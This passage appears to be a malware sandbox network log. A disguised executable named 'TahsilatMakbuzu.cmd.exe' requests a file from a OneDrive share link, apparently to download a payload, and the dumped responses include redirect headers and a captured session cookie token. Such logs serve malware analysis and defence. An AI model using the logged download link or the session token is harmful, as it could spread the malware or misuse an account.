4,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,213507261,1669
2024-07-04 18:16:26 UTC	4144	IN	Data Raw: 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d 42 32 44 36 2d 37 37 Data Ascii: 2":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-B2D6-77
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49748	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:28 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:28 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF2EB92E3F7 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: uJchIcYqMk2LerY6rQbDkA.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A6D70973EA764087B7D332916FF8F1CD Ref B: EWR311000102031 Ref C: 2024-07-04T18:16:28Z Date: Thu, 04 Jul 2024 18:16:28 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49749	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:29 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:30 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:8AX0bFWc3Ig=:LZbrhg6b6BQkmsXqbtMNxbuLx8hk7Cez1umANXkk/AU=:F; domain=.live.com; path=/ Set-Cookie: xid=584f9db2-02a8-4bd3-8486-ddd4b2980e1e&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:29 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg5LCJuYmYiOjE3MjAxMTY5ODksImdpdmVuX25hbWUiOiI4MSIsImZhbWlseV9uYW1lIjoiQmVhciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImJlNTE1N2EwY2M0NjQzMWVhZjUzY2ZlMDU3NDlhZDY4IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5ODl9.ZTxlP3Nw4-mDALthZTvgZfwlvirc1fWp3xlPqyffn6jlLlXGDSEyszdEMjCTDxpuUlCs0nVISjtSri0s6EnLU-XlEArKBqhn9i05GwZnDxnwhI3Xk2TPvPMD2N4FYjm3JnVd_IiKkRJbOOxQ4PdMYFCad5GvSfvVO0h9kluVcEuctFQSWYD46Spim8o6TVLbt6XhML2TY3r8qvpqWw4_m6ho2Oz2TvLpvkhtZ4OHGs4udS8BY6_VsmTDJBZXpWdwWoEPy5Syet7_lB02KY2Um3mh-ZhcOjQQ0chHcFJNsM2R-pA7yn5Z6whz_nGL6LfBlbaey4G7YWjvcK2jFA9JKw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:30 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-sjdbg X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1EE290359F014595891EBA0FAA8BA015 Ref B: BN3EDGE0703 Ref C: 2024-07-04T18:16:29Z Date: Thu, 04 Jul 2024 18:16:30 GMT Connection: close
2024-07-04 18:16:30 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49750	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:30 UTC	1285	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg5LCJuYmYiOjE3MjAxMTY5ODksImdpdmVuX25hbWUiOiI4MSIsImZhbWlseV9uYW1lIjoiQmVhciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImJlNTE1N2EwY2M0NjQzMWVhZjUzY2ZlMDU3NDlhZDY4IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5ODl9.ZTxlP3Nw4-mDALthZTvgZfwlvirc1fWp3xlPqyffn6jlLlXGDSEyszdEMjCTDxpuUlCs0nVISjtSri0s6EnLU-XlEArKBqhn9i05GwZnDxnwhI3Xk2TPvPMD2N4FYjm3JnVd_IiKkRJbOOxQ4PdMYFCad5GvSfvVO0h9kluVcEuctFQSWYD46Spim8o6TVLbt6XhML2TY3r8qvpqWw4_m6ho2Oz2TvLpvkhtZ4OHGs4udS8BY6_VsmTDJBZXpWdwWoEPy5Syet7_lB02KY2Um3mh-ZhcOjQQ0chHcFJNsM2R-pA7yn5Z6whz_nGL6LfBlbaey4G7YWjvcK2jFA9JKw; E=P:8AX0bFWc3Ig=:LZbrhg6b6BQkmsXqbtMNxbuLx8hk7Cez1umANXkk/AU=:F; xid=584f9db2-02a8-4bd3-8486-ddd4b2980e1e [TRUNCATED]
2024-07-04 18:16:31 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,11094,0,69124,29 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 321239a1-b0c4-5000-da45-7aa51e9cc9d3 request-id: 321239a1-b0c4-5000-da45-7aa51e9cc9d3 MS-CV: oTkSMsSwAFDaRXqlHpzJ0w.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 30 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 48B32184748249C5844BC67667FE978D Ref B: BN3EDGE0912 Ref C: 2024-07-04T18:16:31Z Date: Thu, 04 Jul 2024 18:16:30 GMT Connection: close
2024-07-04 18:16:31 UTC	2219	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 34 36 31 39 30 34 2c 2d 32 30 31 33 31 33 34 37 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 Data Ascii: 461904,-2013134712,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,9
2024-07-04 18:16:31 UTC	4167	IN	Data Raw: 43 2d 34 33 32 46 2d 39 37 31 46 2d 42 35 42 43 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 Data Ascii: C-432F-971F-B5BCD4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A
2024-07-04 18:16:31 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
